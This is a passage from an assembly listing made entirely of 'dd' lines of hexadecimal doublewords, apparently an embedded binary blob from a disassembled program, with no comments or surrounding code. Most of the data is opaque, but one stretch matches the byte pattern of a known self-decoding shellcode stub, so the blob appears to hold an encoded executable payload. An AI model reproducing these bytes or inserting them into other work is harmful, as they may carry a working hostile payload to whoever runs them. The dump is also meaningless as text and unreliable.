486B855Fh, 0BEFEFF11h, 7DA40399h, 8C08AD4Ch, 904CBE10h dd 0F920F2A4h, 0D69474Dh, 53989C9Ah, 0F885052h, 8821297h dd 8EC48AE0h, 6E4A1957h, 778E5E28h, 9577730Dh, 410230EAh dd 398D030Ah, 24B73582h, 872E3CB3h, 0DA714FCAh, 8C4AC5Eh dd 1EDA2220h, 9FC85742h, 0EB2D0359h, 6524468Ah, 40083247h dd 0E506701Eh, 2AFD070Dh, 8A158120h, 0C148E088h, 44C14Fh dd 6A1981h, 49E4F27Ah, 30AF281Ch, 10742505h, 0E22F5367h dd 0E0915CB2h, 54D91A75h, 5CE04304h, 31BE1044h, 6268F096h dd 3889321Bh, 38213610h, 307854BEh, 3FD1A694h, 0E5080147h dd 0A2640864h, 0DC081074h, 18F74004h, 33DEC8CEh, 98167282h dd 9C019F17h, 3903D976h, 6C408B08h, 11032908h, 0DA6C158Ch dd 0D4487548h, 8E5B7038h, 6C9C280Ch, 0BB42546h, 6BC610A0h dd 1C9CF6E1h, 9929546Eh, 0C99B26B7h, 0B8294659h, 4592CC50h dd 0A46C80D9h, 0B82701F2h, 0D1C204DDh, 6A0C4C4Ch, 39192800h dd 11D0B10Ch, 5A8709Bh, 2ED94FC0h, 0F6A4E6F5h, 0F40C2B02h dd 860F1A4h, 0E60C42A0h, 1EA48528h, 847BA1B1h, 180CA031h dd 470BB488h, 0A6EC0509h, 9084609h, 18401495h, 0CB707C50h dd 146F0110h, 0D1FC0821h, 0EBF1489h, 1138578h, 0E9A65BABh dd 48100E48h, 2F8814F8h, 0FEFF2176h, 24340E13h, 0D73933CDh dd 83480838h, 446C089Ah, 0EE36B97Ch, 0D025B705h, 0C84642Fh dd 0AD009820h, 8460D46h, 0D80F0262h, 18C2804Dh, 21700401h dd 9A0B0F84h, 6A809428h, 5E803C95h, 84110242h, 116C8F0Fh dd 9A840191h, 0B9708AA8h dd 7E1489A3h, 0AD9D0180h, 0C95C0BE1h, 0BE505817h, 76668D4Bh dd 3AF2ADE1h, 5B038FFBh, 84F93675h, 5D1C7333h, 9764E8FDh dd 385A9FB2h, 48E30175h, 6B47323Ch, 631EABB4h, 74EC5A7Ch dd 3C0100A4h, 2751512h, 41253CAEh, 3B6B7964h, 5B439C5Ah dd 6CCB8DBFh, 3C0B0109h, 0A9751C84h, 0DA4AEF20h, 5762A2C1h dd 69FB5C28h, 8E5CC859h, 0A0D2F2Dh, 2DBFD4ECh, 662ED4D0h dd 0EB352D0Bh, 74A20406h, 63706982h, 9D2252h, 0FF071C81h dd 28B59AE4h, 2438200Fh, 0ECAB1802h, 0B700143Ah, 3ED9D2C9h dd 1B34EF33h, 30431F25h, 612F5C88h, 10FD01AFh, 30A9AA62h dd 1AF2275h, 570328FFh, 94FF0164h, 1652B03h, 1503CAFFh dd 0E5FF0166h, 167030Ah, 385F2FFh, 0F9017F68h, 0BF690342h dd 3A1FC01h, 0FE015F6Ah, 0AF6B0350h, 328FF01h, 0B8016C52h dd 3EBE241h, 1E100D06h, 33886D50h, 0E90E83C9h, 40EED9B0h dd 5BF42474h, 13731E81h, 877FC0C8h, 0E2FCEB83h, 0B30E34FAh dd 2120CA94h, 0B9377880h, 0FDECF9EFh, 52D8C2FDh, 0B0820103h dd 870C90D8h, 0E8B3F3C1h, 43CE94C0h, 863CED78h, 1EBF8726h dd 0F3405D64h, 7B518CFh, 941BC98Ah, 5B8D9073h, 3C64BDAFh dd 0E100EC40h, 0C34D543h, 7EC59700h, 0F4F5CB6Ch, 0FDA4030Eh dd 0E80BE663h, 9A43E3B0h, 880C4F00h, 0D4F7F4D5h, 1C7E874h dd 91787C0h, 0C893D786h, 197F0F37h, 4CB1AE07h, 0C57A0B5h dd 808D9740h, 0F12F057h, 89F37B92h, 5080510Fh, 3449E19Ah dd 9D857700h, 18787DB3h, 8EA607B1h, 8028743Dh, 0D42C8A1Eh dd 3C749B74h, 50D88B78h, 0E9EC5E68h, 7866F6F0h, 9DDB0C5Dh dd 0B3391EB8h, 80D66F3Ch, 6CEFAF26h, 786E5174h, 0D4A9289Fh dd 902D080Ch, 0D783CEF9h, 2A8D9Ch, 60174A88h, 0D0061FB1h dd 0BF19E0D8h, 80E36015h, 3C41EA1Ch, 9107D7F0h, 2F0EB3F0h dd 2A453B37h, 6274CC00h, 0AA3D27h, 14539B36h, 2C47A345h dd 1772630Fh, 696A80F5h, 0A09DBD78h, 38E938Ch, 8899D62Dh dd 83C8615h, 9370E2Ah, 0DC11A117h, 9092D4B1h, 0EE1C0A15h dd 8E430088h, 0BD0C0483h, 0E19A48CCh, 7B530838h, 0C0359BD8h dd 16D454Ah, 74E95777h, 0F9E3D678h, 0ECE4C769h, 2AA5ADBAh dd 38527CD1h, 0EF796213h, 723A1059h, 0B87676B5h, 0C2B511A0h dd 0D11929DEh, 8DF827A4h, 6D3D5497h, 2D45033Ah, 0F0775BCAh dd 7942250Fh, 5DD1855Dh, 46529407h, 68302EBCh, 13054633h dd 4558F30Ah, 80ED2FA8h, 0EDF4A942h, 9D22B661h, 0C1C45BAh dd 0D6BDAF85h, 60B7D3ADh, 2F86A7D0h, 51680646h, 32E7ACAAh dd 0E52A8E1Dh, 0EE300564h, 0FE7BDB1Ch, 0CA307238h, 383258FBh dd 357E3234h, 77614325h, 5857E63Ah, 0C3D69D81h, 343605Bh dd 392C3003h, 5E207C1Ch, 4F424143h, 374CA153h, 0C87E12BEh dd 501D3127h, 72337784h, 79BE93ABh, 2C31250Dh, 30E00C38h dd 336E1F57h, 9355A744h, 36F03D7Ah, 575B5425h, 3F31A7ECh dd 4FB43035h, 2DF4AEDDh, 414E0949h, 0C4DD5952h, 0A27D8D2Ch dd 45521C7Ch, 5108E854h, 0DE9FB232h, 0BFCEBE4Fh, 0B2BF3574h dd 0DBA5907Ch, 366BDE0h, 4786818h, 412A9214h, 2C5E5B5Fh dd 6B5CA5Dh, 51380A9Fh, 0B0C8A158h, 4C930AFBh, 0A9205349h dd 0ED50172Ch, 6576174Ah, 0F74879AFh, 9FFC74FCh, 50057C90h dd 29565341h, 0B4A57BB8h, 8A2DA92Eh, 52BAAE49h, 2E41B218h dd 59540591h, 38404550h, 22203735h, 843EE52Fh, 0ABE7EB7Ch dd 32776425h, 50F11067h, 49447057h, 52134833h, 9544EC65h dd 0CA3094CDh, 65CACC53h, 1387F827h, 0F846796Eh, 0F1194147h dd 33184C59h, 755568C9h, 38A16B67h, 8E3B022h, 9F31E233h dd 1A532A56h, 0EB7571E0h, 43F54109h, 0F60C5A78h, 2B2C53FCh dd 0FBBC6030h, 2ECE7779h, 7F4FDA6Ah, 0FACC036h, 1A977BBDh dd 61FF9F2Ch, 0EBAD6EE6h, 0A49F9CD8h, 0DC8747FDh, 0E1DE5EBBh dd 0A92E312Fh, 4F0D15A2h, 346A364Bh, 6D58C1E6h, 27867E79h dd 0A0D1BF1Eh, 66EB2D17h, 0E7EF2C3Ah, 128663E2h, 7349132Ch dd 7126910h, 74AE7811h, 303D19CEh, 68FF7058h, 53251E12h dd 57387C41h, 6E12F93Fh, 1285AB64h, 670A4C19h, 2990B721h dd 0DE412F69h, 522D4290h, 0A94029F5h, 442B8DD2h, 0FB44559Fh dd 30034D5h, 0D7544D47h, 1549EE22h, 2009D72Dh, 1E2B6A5Dh dd 63E2951Ah, 14B42BAFh, 0D2CBFEF5h, 93F72E6Bh, 426684Dh dd 0DCC8F5F0h, 0EC3F6EDFh, 0EBCF39A0h, 0A3023436h, 6E0873F5h dd 79E8024Dh, 7F6545B8h, 6A75877Eh, 0F32F1C38h, 5ACD657Eh dd 0E67DB6D3h, 781CCFF0h, 3D8F2FE9h, 48956C89h, 31A86616h dd 915548AEh, 283DE438h, 0AF92C43Fh, 0EB927DA6h, 0C92A5CDCh dd 0D6A45C09h, 0C4F3EA46h, 12F16925h, 2B09DD25h, 0BEB2AB2Fh dd 0B4EBDFDDh, 2E00E3AAh, 3E1B933Ch, 0B00C4F14h, 4C2C4FA5h dd 4E033A53h, 9033223Dh, 0DD483C3Eh, 2A2F1A2Ch, 22F41B0Eh dd 42410E98h, 0A454C2Ah, 442A4FF0h, 0FDA00959h, 49F34C4Dh dd 94F82E48h, 157C5AE4h, 1AFB7B1Ch, 2D256562h, 286E9DC3h dd 0F32EC30h, 0B19AA228h, 4D5429CAh, 95477A64h, 8AAF4957h dd 0DD209348h, 0A10F948Ah, 926D8094h, 2F09143Ch, 587B5825h dd 0C3472AE0h, 11FFCAD2h, 64C533DAh, 19346D6Bh, 5495C2D3h dd 7078419Fh, 2E1718A5h, 26736105h, 0B43B5782h, 0A3EC8D1Fh dd 0CE71EFC8h, 1C43110Ah, 0D81DDE9Ah, 0D64F2D59h, 73F1C090h dd 43BA5B2Fh, 393284D8h, 3B1F6934h, 9B7AC4BDh, 0D1A76814h dd 1560FA41h, 1AD54645h, 0BC4DB900h, 0BB242AA9h, 64CA32B1h dd 34064C2Fh, 52E320F4h, 6AD3A0Bh, 4D41C073h, 0FF0991DBh dd 0A384B519h, 285C3471h, 614B50B9h, 52A83D27h, 5A5BF1Eh dd 0AC675F49h, 1DC93BACh, 6B126EECh, 7F6F4504h, 0AD5E54E5h dd 22D62790h, 0AD142083h, 6B5359DDh, 0E06ADCC5h, 0F231B240h dd 0B055B049h, 2407B162h, 14204D39h, 20A1C855h, 526E9DB0h dd 309C7968h, 3C2DA5CAh, 108AA49Dh, 477B4145h, 1A4C2D49h dd 0BA27693Fh, 6E2532DAh, 0EAEC93E2h, 46B97454h, 900633A5h dd 9E65520Ah, 1D553A70h, 0B83E48F1h, 5F2BD736h, 0FFCB0A38h dd 5D2D886Dh, 0F403B7B9h, 88B3CA99h, 4E1D0931h, 7CA958DFh dd 634444A3h, 4F4AA2FBh, 0F82A742Dh, 8BEF92E2h, 6EEF4ED4h dd 5B3E4300h, 38A4B8A6h, 6AA7433Ch, 7A83764Bh, 48489CE7h dd 0F7A9DF73h, 3C526F6Dh, 0CD888540h, 0A4860A96h, 0D384F6BAh dd 0FC4A3FCFh, 736A40BAh, 68C34059h, 45F92C55h, 95538C58h dd 5239F9C6h, 29289675h, 3BB4B4FDh, 57266858h, 308A5059h dd 9241696Dh, 4ABA5320h, 7C680A1Ah, 5BA65E95h, 3EBAD24Bh dd 56503444h, 2401F414h, 4BBD426Ch, 0ED7927FAh, 0C012A1EFh dd 0A444CD1h, 556A5C92h, 2C4B25DAh, 0AEEC64BEh, 0F84203B2h dd 0F4A423B9h, 9220B7EFh, 921CDAEEh, 3C47637Ah, 0D1636E92h dd 5752B244h, 1A3749D1h, 6D2957ABh, 8EADB7BAh, 0E7E52EAAh dd 73155C0Bh, 3FBDBC2Eh, 5EDAB2FCh, 2D8FC379h, 5F684B43h dd 0F1771F9Ah, 3895DA20h, 3A145DA5h, 57793093h, 4F46A253h dd 405EE85Ch, 2AE97091h, 73C950ECh, 0A421243Fh, 7CC4DFC9h dd 5495F186h, 91ACAA60h, 7C6CA963h, 0D7274885h, 515F8832h dd 0F170A319h, 616C4973h, 7057247Fh, 2CEAB7A3h, 40E8B09Fh dd 417AA8E9h, 0F2A8855Ch, 0C4258897h, 80715244h, 52B9CAB4h dd 66548B26h, 7B9AD44Bh dd 4624937Eh, 0F497F96Ch, 9A355D68h, 0EB9875EEh, 340F502Dh dd 46FF7BD2h, 626ED73Ch, 9DA444D1h, 42764F7Fh, 150B414Eh dd 0CE5F9491h, 0ED4491C5h, 1A59242Eh, 0CE427220h, 7A494015h dd 0F3C98A47h, 0BA552525h, 977AC7D4h, 219ECC69h, 0C9B73D5Ah dd 4190538h, 2F786A6Bh, 2D27C0CAh, 57B8A4FCh, 0FD5ABF01h dd 0CE785170h, 775A80BFh, 78D508E2h, 0D6808FCFh, 4EF5CE9Fh dd 4D29924Ch, 0BAB442CBh, 11AFADDh, 0CCF16AE9h, 7E6C0693h dd 68B0F500h, 1585AA6Dh, 569D5480h, 257026DBh, 4FEEFE66h dd 1FEE6E4Fh, 0BF2FB467h, 6773D0D2h, 0FED3F600h, 0FB007F15h dd 45C250CBh, 0EB49EA05h, 6E376197h, 0C5F5809Ah, 2860A146h dd 0D02E2743h, 7600AF9Ah, 2DE8F1B7h, 883A9242h, 5959803Dh dd 0C5ACE16Ah, 0EE806721h, 0A977442Dh, 7B467F74h, 4E5E808Fh dd 76890D42h, 0BAF03B06h, 4A879020h, 0B58B7A47h, 0D574C4EBh dd 0C122BFFAh, 0D7095B47h, 6BA580ABh, 0B2AFACF4h, 0CE723D10h dd 0EB80CC51h, 0B1807BD2h, 7529794Dh, 5FCDED4Eh, 807A4034h dd 630081B5h, 2C7D3161h, 8190787Fh, 73F6427Ch, 809B6CF2h dd 73AD38D5h, 67720182h, 32488161h, 0FA503D89h, 137D8A93h dd 2907BE52h, 38223931h, 0AB096220h, 3CA37E83h, 8AC83AB8h dd 0D78BE49Eh, 87EB65E4h, 0FD010AA1h, 8B4B8068h, 0EF0E77FFh dd 31CA26CBh, 5C97B0F0h, 0BB72174Dh, 2C9F065Fh, 693D1C66h dd 142FD70Dh, 1F3A301Bh, 2E1ED16Fh, 2F6E31B8h, 0B2F7706Fh dd 7EE5794Eh, 8199D9B5h, 0AD65206Dh, 0B10D5D5Ah, 5EA06A9Ch dd 3B3CFB63h, 0D14937ABh, 5E2ABA2Dh, 2BF35F52h, 811D78Eh dd 0D63B6223h, 460D2214h, 11857765h, 455B021Bh, 0BB5D4353h dd 70022807h, 31463E14h, 2990752h, 320D5371h, 950729EDh dd 3E0D7202h, 9907D233h, 0D537302h, 729ED34h, 0D740295h dd 7D2353Eh, 53750299h, 29ED360Dh, 76029507h, 0D2373E0Dh dd 77029907h, 0ED380D53h, 2950729h, 393E0D78h, 29907D2h dd 30AD5879h, 94075DFDh, 9F147A02h, 23433CA3h, 9D32117Bh dd 24C091E1h, 7EC40F60h, 3129188Ah, 0B203B404h, 4328AC6h dd 402B106Eh, 4331414h, 0C22303D9h, 44D3439h, 2324039Ch dd 0D9043594h, 39C22503h, 9C044D36h, 94235E03h, 3D90437h dd 3839C226h, 39C044Dh, 3994232Ah, 2803D904h, 4D3039C2h dd 29039C04h, 20BD9C23h, 70862D70h, 0BB658E5Fh, 0B223D09h dd 914B12Bh, 0AD65B12h, 0D9075D15h, 0F8275102h, 0D8590B43h dd 0BD09495h, 452601D1h, 0CBDD7351h, 0D0204980h, 1321DC0Bh dd 370C7454h, 5944080Bh, 0B0DBC9Dh, 6E550112h, 9B0B8620h dd 69093250h, 1890B94h, 6F09944Fh, 149A40Bh, 1AC0BA50h dd 0DB01250Bh, 0A516DC26h, 700122FFh, 7D9C85DDh, 9419923h dd 440B4A61h, 0D49B5301h, 42B80BA1h, 64094432h, 8E10B94h dd 6609CA46h, 126520Bh, 67520947h, 3201910Bh, 94680948h dd 4A01890Bh, 0B6A0994h, 4B014CA4h, 0BA56B09h, 4C650122h dd 0B296C09h, 29BA0113h, 150B3B09h, 0DE88143Ah, 22882791h dd 10675A51h, 1440B43h, 0A14CB358h, 7001A20Bh, 4A638143h dd 5601440Bh, 0BA19CB3h, 422E42B8h, 62DD7359h, 6E254E14h dd 11C20B29h, 6D09944Dh, 14CA40Bh, 0A42C09BCh, 143C560Bh dd 2E46BE22h, 0BF443E21h, 2EC22F48h, 12DC393Fh, 0C27C315Ch dd 5B101139h, 52155443h, 95075D4Ch, 57479FF0h, 7CA4E49h dd 0A62002ECh, 34078504h, 22282B99h, 4A50FA2Ch, 70E1152h dd 46910299h, 4C3E1614h, 4D07D64Bh, 68779F58h, 0D30795FFh dd 0DDD9F167h, 65F5B643h, 8E419907h, 7F554792h, 0EC23076Bh dd 4544943Eh, 590747ACh, 3F7E9F41h, 7AEFD4Eh, 6BDFC1ACh dd 7ACFE7Fh, 873E41B3h, 5446454Ch, 33CB07DAh, 85B7EE2Dh dd 0CF042407h, 484752A3h, 59075046h, 4FE2982Dh, 7A0D157h dd 47900299h, 514DA514h, 549307DCh, 7EE77C58h, 9C6ACB11h dd 6588B181h, 7760CE6Dh, 396B1785h, 0CB606259h, 0EF9C9C60h dd 1661250Ah, 210AEF64h, 0A2F0CE62h, 0AEF1C63h, 0F0CE6421h dd 0EF1C65A2h, 0CE66210Ah, 1C67A2F0h, 68210AEFh, 69A2F0CEh dd 260AEF1Ch, 0BC73A86Eh, 0F5AC6B29h, 0BB22298Ch, 0AB7DC997h dd 521C27DFh, 2952E0C4h, 0A7184217h, 5F72140Ah, 4E3CF4D9h dd 29D50AFFh, 1C1CF248h, 0FF273487h, 66749332h, 689A3AC7h dd 16D4517Ah, 0BCBF0C74h, 0B089B809h, 6C2E3A10h, 297487BCh dd 0D9182C3Ah, 40C80F21h, 0F224437Eh, 5E901F25h, 0E48726FCh dd 2D213F2Ah, 0C80F2BF9h, 5C437E2Fh, 901F3DF2h, 8727FC3Fh dd 213F60E4h, 0F20F97Eh, 63D72EC9h, 0C88B843Eh, 21EC18D0h dd 3F40E487h, 25F92421h, 7E5EC80Fh, 2AF22643h, 0FC2D901Fh dd 2FE4872Bh, 0F95C213Fh, 3FC80F3Dh, 0F227437Eh, 7E901F60h dd 0E28720FCh, 9EDC692Eh, 1DC8A274h, 0FC219018h, 24E48740h dd 0F925213Fh, 26C80F5Eh, 0F22A437Eh, 2B901F2Dh, 0E4872FFCh dd 3D213F5Ch, 0C80F3FF9h, 60437E27h, 901F7EF2h, 5A2EFC20h dd 4C6AAC68h, 0B044B9A9h, 2421183Bh, 0C90F25F9h, 0C4C5DD2Eh dd 18486023h, 0CE2E4B76h, 1D60DAE8h, 0FC249018h, 2EE28725h dd 21101F78h, 0E48724FCh, 0AF5A3F25h, 0B818B910h, 24E48721h dd 0F025213Fh, 440E4320h, 0D079654Bh, 0E0FD3AADh, 4614232Bh dd 0D49D0901h, 1852B818h, 45504FA0h, 0EAA55243h, 182E9AD4h dd 0D0EBB5Bh, 0D3FAB661h, 475B4FB9h, 18A650FAh, 48535514h dd 0DF8A02A8h, 1885007Ah, 79617061h, 0F9D8F4CEh, 59305303h dd 184C0629h, 0DE301252h, 7030A106h, 4F23432Eh, 0EF53C44Dh dd 5F438E0Bh, 85695807h, 0F183D3Ah, 0C2ED9201h, 0D1460840h dd 3C70DD0Fh, 0ABDA4F42h, 0E83A386Dh, 292812BAh, 1AFDA4F8h dd 757B792Ch, 43DDEEFBh, 25BFBCBDh, 98A3AA1Eh, 1A39FE5Ah dd 1A01A53Eh, 20225B34h, 46A74153h, 504A5DC5h, 0B699AE93h dd 0AFA5800Eh, 0AC3A5A94h, 43CEF6D7h, 9AA52Eh, 0D5A52459h dd 4C96BBC8h, 9F088C28h, 30461F9Bh, 116C2308h, 3633872Eh dd 0C1079B19h, 6DE23230h, 1CF323A8h, 0A5622Fh, 42163A91h dd 0C98DAB6Fh, 0BDD19A7h, 4762572Eh, 14497C47h, 49E091A8h dd 4BD1D014h, 8429D240h, 328AA422h, 0A7842185h, 0F4AEF8F2h dd 38932C8Eh, 93743449h, 0A4144968h, 849C491h, 7552413Ch dd 48E2E4D2h, 4C325F2Ah, 2D767205h, 5F132055h, 0CF399BFh dd 2F0E4C20h, 57392E30h, 5556C991h, 3C594EF1h, 0E448E96Ah dd 22B41B77h, 0DEDA36CDh, 3F0B2306h, 4A2D42FCh, 387D18C4h dd 38438F0Eh, 37A546E8h, 0AA343672h, 0EA341F67h, 0FE34A1DBh dd 8D560199h, 0F601A630h, 73B45C9Fh, 0D56E0E27h, 59D7661Ah dd 7F427AFh, 424B09BFh, 1E96622Fh, 0F7F6B528h, 35B47BA5h dd 98A3BB8Bh, 10A444D0h, 0BED647BAh, 6DBD2ACDh, 0B438FF5Ah dd 5D1BD040h, 974FFE93h, 84AA574Dh, 654C6838h, 7AD9DEB7h dd 4F1A3832h, 5A824A16h, 4823D81Dh, 18B2552Dh, 2BEA9B57h dd 6920701Eh, 2CC065DDh, 308EFC28h, 85DB26B3h, 0D338F3AFh dd 0B8929FFh, 29FE5AC7h, 472C1E3Eh, 0F529D0F0h, 0D000A2BAh dd 1A5AA953h, 43952C46h, 0DBD7C2BDh, 9F446400h, 0FC2824FEh dd 0ADDB5452h, 8D449CDDh, 3D2E4529h, 0F1FC6B28h, 0D87BEB5Bh dd 80DA4B46h, 0C478F1D7h, 0D34BCE44h, 1FE864AFh, 64CBD5Eh dd 9B84FFE4h, 50D0528Eh dd 0C4D45B2h, 0AC6EA64Dh, 5094E43Eh, 12BB5B34h, 0E9D4EC9Dh dd 0B418FD6Bh, 8CB4579Dh, 26702A40h, 9DFC5E3Ah, 3823204Dh dd 23663569h, 0C57D4B34h, 0E54D2BBCh, 94238A2Ch, 0B6AFB580h dd 7C53CBACh, 572ACF69h, 9DCAAD18h, 0FE0350DDh, 50442D55h dd 87B81E7Fh, 9E45C540h, 787098A7h, 4F53013Dh, 54454B43h dd 0C752CD5Fh, 27963ACFh, 8186367Dh, 6A223DE1h, 411BAB5Bh dd 7462EAECh, 25F4481Dh, 644903F8h, 0E9DAE791h, 2D18FB2Dh dd 1F8A96F8h, 46168C1Dh, 36491C7Bh, 96B48559h, 7E4C2635h dd 0F8B59D2Bh, 4CA734BFh, 4B29286Bh, 3AD42F7Bh, 5B0BF930h dd 0DA9069DCh, 0CA2445h, 56D9AE5Ch, 63A5D473h, 906D6360h dd 4F26EC92h, 0A1F94DD1h, 93565002h, 36F5AD67h, 5A4D91C0h dd 0FBC944D5h, 0EC6F69FDh, 4E08DBBAh, 0CF315BC2h, 0A0C9AEBDh dd 0B36B3DF5h, 2D7443AFh, 0CEBA5761h, 702DD07Bh, 0A4647969h dd 74346805h, 53A1509h, 0B89C5DCBh, 0FE67DAC9h, 0E55C69CFh dd 5764AD39h, 6352D09Eh, 278D7014h, 0D02B1EFDh, 7AA91C34h dd 39A7469Dh, 5B049CDDh, 0C469BB66h, 885B10A7h, 498759AFh dd 34A116DEh, 3971D5F2h, 35DA31C8h, 0B27F2730h, 84241E92h dd 0A126B915h, 5577ED3Ch, 2AF2BA15h, 0E251E8D6h, 9D44B42Eh dd 3552CBD6h, 0ADE6A168h, 859B13DDh, 0D228F2AEh, 369284Ah dd 800A0147h, 0AD76B756h, 9392FD2Dh, 0D40C4AAAh, 40936279h dd 24A17721h, 0E43A7D7Ah, 24169A3Ah, 25BF724Fh, 1556BE8Ch dd 0E9D1A3ADh, 282C2DE4h, 92E4D0CCh, 0AD70B850h, 0C243201Ah dd 7723CE75h, 0E101E67Fh, 4A622B61h, 0E43E9430h, 3869291Eh dd 0ED641D33h, 0BED9D5FBh, 62CD98F7h, 7266960Eh, 9B25D7EAh dd 68446608h, 0E47C2DDDh, 0B72C1C52h, 8CA1AFEh, 4955D9A7h dd 5FCBB0F6h, 6015909Ah, 13290CA3h, 66312E01h, 0FE27424Bh dd 0A50F4029h, 252CDE25h, 4A3AA5Ah, 0EBA54442h, 60423EE2h dd 61B6D6BDh, 91EF69FBh, 1D1FF538h, 0C912DF75h, 893E5BC9h dd 16A16EA3h, 29289FC2h, 0A3D22E45h, 0F12C482Dh, 29BD4567h dd 2CF74D24h, 0B4A868BDh, 0E1288CFEh, 0DD63CB0Bh, 0D74B5F47h dd 0C2EBB846h, 24388D53h, 16CEDB44h, 0C00A8DBAh, 749F6443h dd 0EF54991h, 94B517E9h, 0E462B159h, 3BD1D26Dh, 56F4FCF8h dd 1F95AA81h, 5503F7EAh, 0AC26CB3Fh, 65C7C12Ch, 0F5AD091Ah dd 3C877C36h, 0D2FED66Bh, 3EF7C1D0h, 0B25FF4BDh, 6F574B82h dd 3A4805ABh, 0C4B7EA5Ch, 50712FDFh, 9C63C9B9h, 73E5202Bh dd 0D2E4B7EAh, 480A0839h, 0DAD6BBD7h, 0FCABB70Dh, 0A1E4CF55h dd 64D6CEA1h, 99A21D25h, 3E70B275h, 34908DBDh, 904F33B9h dd 42154A16h, 6AE8519Eh, 2CDA14D7h, 1FE29FFCh, 0BE497BD5h dd 6D8F22EFh, 7914B2FCh, 0E1AD6495h, 55534C22h, 0E5FAC449h dd 50C83F5Bh, 4C507E28h, 729E6844h, 1B750240h, 6382BC29h dd 53DF835Ch, 0A5205B2Ch, 281D9982h, 42D22F1Ah, 2965395Fh dd 95556E34h, 2A450361h, 8244CFC3h, 1CCDFE4Fh, 0F6491741h dd 6C1846E7h, 954D281Ch, 74FC03CCh, 0B4A16C73h, 7F1F6144h dd 5482D5C4h, 77078969h, 1C84B7C4h, 69675C9Fh, 0E4F66BF5h dd 346F2A89h, 151C51EAh, 9034AB4Fh, 0F4BB1C50h, 0C9EA2013h dd 903B0A9Bh, 15742A80h, 489DD6B5h, 1C017235h, 0C54C4454h dd 6409A52Eh, 50388960h, 6CA69C27h, 54796C25h, 5AFDDADDh dd 0AE2F5FAEh, 12BFA465h, 0B619AADCh, 84957B1h, 4C0C1EDFh dd 0E17FF94Fh, 64FF8422h, 0D48B2906h, 41E64EF8h, 1612295Dh dd 0AF03C684h, 81439318h, 1099B188h, 981C19A0h, 0D0211409h dd 137081AFh, 181110ACh, 197833B2h, 0C313210h, 4240809h dd 28B77C46h, 0EFCAEC2Ch, 92FC19B1h, 31F80891h, 0B6E021F0h dd 19F40899h, 8419980h, 1999F079h, 12E809ECh, 48E024E4h dd 10D891DCh, 0D43348E8h, 948D011h, 0CC086649h, 9C86411h dd 91C048C4h, 44B822BCh, 0AC89B0B4h, 0A424A812h, 9C91A048h dd 94449822h, 12808988h, 486C2478h, 225C9164h, 444C4454h dd 30123C89h, 24482C24h, 14221C91h, 8B081044h, 91F84484h dd 0E491F008h, 0D444DC22h, 12C489CCh, 48AC24B8h, 229C91A4h dd 848C4494h, 6C127889h, 58486024h, 48225091h, 89303844h dd 241C1224h, 910C4814h, 90FC1004h, 0E844F422h, 12D489E0h dd 48C024C8h, 22B091B8h, 98A044A8h, 84128C89h, 6C487824h dd 5C226491h, 894C5444h, 24381240h, 912C4830h, 44182224h dd 0F8880410h, 12EC818Fh, 48DC24E4h, 22C891D4h, 0A8B444BCh dd 9812A089h, 80488C24h, 70227891h, 89606844h, 24481250h dd 9130483Ch, 441C2224h, 4890C14h, 28EF811h, 48E824F0h dd 22D491DCh, 0B4C044C8h, 0A412AC89h, 98489C24h, 84228C91h dd 89747C44h, 2464126Ch, 9154485Ch, 44402248h, 28893038h dd 18242012h, 0C911048h, 8DF48870h, 0E009E9D9h, 0D024D812h dd 0B891C448h, 0A044AC22h, 128C8998h, 95F02180h, 11E8B342h dd 70092278h, 89686C44h, 24581260h, 91484850h, 44382240h dd 1C892830h, 0C241412h, 44B80848h, 9600B3F4h, 0DA507410h dd 874C4C2Ch, 364BB934h, 991C9A34h, 2C309D24h, 8C90C968h dd 43588CFCh, 8013D384h, 9CC44864h, 0B31458D8h, 8CF48864h dd 24EC09B2h, 91E448E8h, 44DC22E0h, 0C489CCD4h, 602DBC12h dd 0BC318019h, 89B85C08h, 880988B0h, 2DACC5DBh, 0C404180Ch dd 0A4994CB3h, 991A039h, 9D84198h, 3096FE1Ch, 7C198465h dd 0A6A8102Ch, 70784424h, 916809C8h, 445C2260h, 44894C54h dd 38243C12h, 2C913448h, 18442022h, 12088910h, 19112E04h dd 350E7536h, 347C098Fh, 8FE0EC32h, 6F79077Bh, 104E7DF5h dd 0B8789173h, 9E787BCBh, 6C1BB13Dh, 0BC04BB6Fh, 0C208D161h dd 6DE05A78h, 46F566FCh, 30431134h, 61687508h, 0BF657943h dd 1FBA4F98h, 902D88D4h, 957567F0h, 496278D4h, 4136DE52h dd 0C2594F42h, 3C78FB7Fh, 4831AA4Eh, 20AD6C53h, 5EE031FFh dd 2866029Dh, 64612814h, 565539D4h, 725F1450h, 6290A17Ch dd 4248A3C6h, 0DCE19652h, 7429A270h, 10304172h, 89796D69h dd 0DF76FD6Ch, 0E1FF5D84h, 66647308h, 825372C1h, 0DF41BE67h dd 0AFBD342Dh, 41BE90C9h, 7C1C7320h, 0B5E93871h, 59F3511Dh dd 7D8E2969h, 7C771EFCh, 0A064651Dh, 1295B9F3h, 822662Dh dd 85C2FF7Bh, 92C41193h, 10817D10h, 46627568h, 6ADB4708h dd 9173C231h, 4AF22D08h, 7710071Ah, 408D6874h, 496D61FCh dd 6C3B3D62h, 0CC15F2EFh, 6DF4AE7Fh, 3A288E7Ah, 41004CACh dd 4445544Eh, 564E4F4Ch, 7563C703h, 72AC0A6Dh, 0E203932h dd 4D4E4441h, 61A8113Bh, 7B146556h, 359A7D52h, 0B1BB184Bh dd 8A78F6A8h, 9CB87555h, 8A794C3Eh, 24333453h, 0BE4F8233h dd 2606C8Eh, 0C8F95219h, 85E34A50h, 336D6599h, 6F12491Eh dd 305FAD1Eh, 599F137h, 0CAE86B5Bh, 0F2DB7BDEh, 454EC01Fh dd 4A41482Dh, 0CA68FC42h, 0E38A575h, 726D7A69h, 0D260AA1Bh dd 5DD15D6Bh, 524F4B01h, 90495941h, 9933C804h, 183C5B66h dd 644150DDh, 0C633A0A9h, 5D313402h, 0D895AA44h, 0EA734B1Fh dd 0C4385066h, 173832FAh, 0F29A16FEh, 0D5D269EEh, 2ECB3864h dd 1F41F976h, 20629979h, 69640763h, 7F7DE2AFh, 6D4C3471h dd 0D66CCB30h, 1A772580h, 0F19208F0h, 64763A31h, 426B5142h dd 0E8402852h, 6C4D470Eh dd 6563C14Eh, 5965D768h, 0CE70B428h, 9CD03CA8h, 3569D36Ch dd 79E00F65h, 460E3114h, 15534E65h, 418A706Eh, 7261088Ch dd 574A4489h, 45435103h, 4B4E2003h, 9D32332Dh, 771CA035h dd 7464749Fh, 34494CC3h, 1D236B25h, 27AD348h, 36336EB6h dd 47558460h, 0B1524126h, 65F824A0h, 8695633h, 380BA54Ch dd 0AA66D04Bh, 63F41B2Eh, 31746CE6h, 4432417Eh, 